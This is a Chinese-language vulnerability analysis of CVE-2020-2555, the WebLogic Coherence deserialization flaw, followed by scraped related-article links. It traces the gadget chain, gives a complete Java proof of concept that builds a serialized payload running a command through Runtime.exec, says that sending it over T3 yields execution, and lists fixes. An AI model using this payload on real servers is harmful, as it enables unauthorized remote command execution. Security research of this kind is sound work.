Weblogic Coherence组件漏洞初探CVE-2020-2555

2020年1月,互联网上爆出了weblogic反序列化远程命令执行漏洞(CVE-2020-2555),Oracle Fusion中间件Oracle Coherence存在缺陷,攻击者可利用该漏洞再未授权情况下通过构造T3协议请求,获取weblogic服务器权限,执行任意命令。

漏洞影响情况:

Oracle Coherence 3.7.1.17

Oracle Coherence & Weblogic 12.1.3.0.0

Oracle Coherence & Weblogic 12.2.1.3.0

Oracle Coherence & Weblogic 12.2.1.4.0

通过研究发现 Weblogic 10.3.6.0 版本不受影响范围内,虽然该版本默认自带了 Coherence(3.7),通过调试发现该版本默认并未启用 Coherence,所以 Weblogic 10.3.6.0 不在受影响范围内。

漏洞分析

分析环境Weblogic 12.1.3,注意每个Weblogic中的coherence组件可能会有不同,导致poc构造无法通用

开启weblogic远程调试,打包coherence目录加入到idea中,并开启远程JVM调试

在Coherence组件中,出现了像CC链一样可以组成链式调用的类

1) 链式调用

首先介绍几个关键类,这几个类和CC链一样组成了链式调用。

ValueExtractor接口

所有实现了此接口的类都有个extract方法,这个方法是整个调用链的关键方法

ReflectionExtractor类

此类实现了ValueExtractor接口,有个extract方法,此方法有调用method.invoke

可以用以下demo来构造Runtime.getRuntime()

public class Test {
public static void main(String[] args) {
ReflectionExtractor reflectionExtractor = new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}
); Object extract = reflectionExtractor.extract(Runtime.class);
System.out.println(extract);
}
}

ChainedExtractor类

此方法也实现了ValueExtractor接口,也有个extract方法,查看此方法

此方法和CC链的一样,利用for循环遍历了数组aExtractor的每一个extract方法,形成了ChainedExtractor调用链。以下demo可以构造Runtime.getRuntime.exec造成命令执行的效果

public class Test {
public static void main(String[] args) {
String cmd = "calc"; ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
chainedExtractor.extract(Runtime.class);
}
}

接下来只要寻找到调用了ChainedExtractor#extract方法的类,即可触发调用链。

2) 触发调用链

LimitFilter#toString

此处漏洞采用了com.tangosol.util.filter.LimitFilter#toString来触发调用链,下图为toString方法,其调用了extract方法

这里涉及两个值,分别是this.m_comparatorthis.m_oAnchorTop

this.m_comparator转型成了ValueExtractor类型,并赋值给了extractor,而extractor则调用了extract方法

extractor方法中传入了this.m_oAnchorTop

得出以下条件:

this.m_comparatorchainedExtractor

this.m_oAnchorTopRuntime.class

以上两个条件满足即可利用com.tangosol.util.filter.LimitFilter#toString来触发调用链

LimitFilter#toString -》 chainedExtractor#extract

接下来就是寻找调用了LimitFilter#toString的类,在CC5中有个BadAttributeValueExpException,其readObject中会调用到toString

BadAttributeValueExpException

此类在CC5中有出现过,其readObject中会调用到toString

此处会调用valObjtoString方法,而valObj在72行时候被获取

3) 构造POC

先附上整个调用链:

Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
LimitFilter.toString()
ChainedExtractor.extract()
ReflectionExtractor.extract()
Method.invoke()
Class.getMethod()
ReflectionExtractor.extract()
Method.invoke()
Runtime.getRuntime()
ReflectionExtractor.extract()
Method.invoke()
Runtime.exec()

得出POC

package com.yyhuni;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter; import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field; public class POC1 {
public static void main(String[] args) throws Exception {
String cmd = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
// new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash","-c", cmd}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors); LimitFilter limitFilter = new LimitFilter(); BadAttributeValueExpException BadAttribute = new BadAttributeValueExpException(null); Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor); Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class); Field val = BadAttribute.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(BadAttribute, limitFilter); //writeObject
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(BadAttribute);
objectOutputStream.close(); //readObject
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
}

使用T3协议发送POC即可弹出计算器

修复

  1. 临时解决方案:禁用 weblogic T3 协议。
  2. 安装 Oracle 更新补丁,需要登录帐户后下载。

Weblogic Coherence组件漏洞初探CVE-2020-2555的更多相关文章

  1. WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)复现

    WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)                                                -----by  ba ...

  2. Java安全之初探weblogic T3协议漏洞

    Java安全之初探weblogic T3协议漏洞 文章首发自安全客:Java安全之初探weblogic T3协议漏洞 0x00 前言 在反序列化漏洞里面就经典的还是莫过于weblogic的反序列化漏洞 ...

  3. Weblogic wls-wsat组件反序列化漏洞(CVE-2017-10271)

    CVE编号: CVE-2017-10271 漏洞描述: Weblogic wls-wsat组件反序列化漏洞 利用脚本: https://github.com/hanc00l/weblogic_wls_ ...

  4. WebLogic中WLS 组件漏洞(CVE-2017-10271)专项检测工具

    来源: 时间:2017-12-23 00:00:00 作者: 浏览:1929 次 近期安恒信息在应急响应过程中发现有恶意攻击者利用WebLogic漏洞对企业服务器发起大范围远程攻击,攻击成功后植入挖矿 ...

  5. weblogic漏洞初探之CVE-2015-4852

    weblogic漏洞初探之CVE-2015-4852 一.环境搭建 1. 搭建docker 这里用了vulhub的环境进行修改:https://vulhub.org/ 新建个文件夹,创建两个文件doc ...

  6. weblogic系列漏洞整理 -- 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)

    目录 四. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271) 0. 漏洞分析 1. 利用过程 2. 修复建议 一.weblogic安装 http://www.cnb ...

  7. CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记

    weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...

  8. WebLogic XMLDecoder反序列化漏洞复现

    WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...

  9. weblogic之CVE-2018-3191漏洞分析

    weblogic之CVE-2018-3191漏洞分析 理解这个漏洞首先需要看这篇文章:https://www.cnblogs.com/afanti/p/10193169.html 引用廖新喜说的,说白 ...

随机推荐

  1. Salesforce Integration 概览(五) Remote Call-In(远程操作 外部->salesforce)

    本篇参考:https://resources.docs.salesforce.com/sfdc/pdf/integration_patterns_and_practices.pdf 本篇博客介绍 Re ...

  2. 有赞Android实习五面都挂了,复习半月再战,转拿腾讯offer!

    缘起 为了有赞的面试准备了半个月的样子,当时还投了美团.字节.滴滴.京东,目的只有一个,就是要进大厂,但是只有有赞扛过了一面,其他都是一面就挂了. 前三面都自我感觉良好,以为能稳拿offer的,没想到 ...

  3. BBPlayerView

    GitHub 仓库地址 一个高度封装的视频播放器视图,基于 AVPlayer.AVPlayerLayer.AVPlayerItem. 继承自 UIView,可以当做一般视图使用,适用于 Swift 和 ...

  4. Java多线程间的数据共享

    下面的程序演示了一个对象被两个线程访问的方法,"monitor.gotMessage();"这一句虽然是monitor对象的方法,但却是运行在"MyObject" ...

  5. 移动端 CPU 的深度学习模型推理性能优化——NCHW44 和 Record 原理方法详解

    用户实践系列,将收录 MegEngine 用户在框架实践过程中的心得体会文章,希望能够帮助有同样使用场景的小伙伴,更好地了解和使用 MegEngine ~ 作者:王雷 | 旷视科技 研发工程师 背景 ...

  6. Python断言及常用断言函数总结

    Python断言 Python assert 语句,又称断言语句,可以看做是功能缩小版的 if 语句,它用于判断某个表达式的值,如果值为真,则程序可以继续往下执行:反之,Python 解释器会报 As ...

  7. jd-gui或jad反编译工具bug

    文件1:A.class------------2020-09-01日版本 文件2:A.class------------2020-09-02日版本,代码内容有变动. bug出现条件:文件1或文件2同目 ...

  8. CVE-2020-0796提权操作

    简介 最新的windows10中使用了SMBv3协议,SMBv3协议在压缩消息时,未对头部数据做任何检查,导致恶意攻击者可以直接使用,从而导致内存破坏漏洞. 该漏洞可远程进行攻击目标系统,但目前只做到 ...

  9. 神经网络:numpy实现神经网络框架

    欢迎访问个人博客网站获取更多文章: https://beityluo.space 本文用numpy从零搭建了一个类似于pytorch的深度学习框架 可以用于前面文章提到的MINST数据集的手写数字识别 ...

  10. SQL 练习19

    统计各科成绩各分数段人数:课程编号,课程名称,[100-85],[85-70],[70-60],[60-0] SELECT Course.CId,Course.Cname ,t.[0-60],t.[6 ...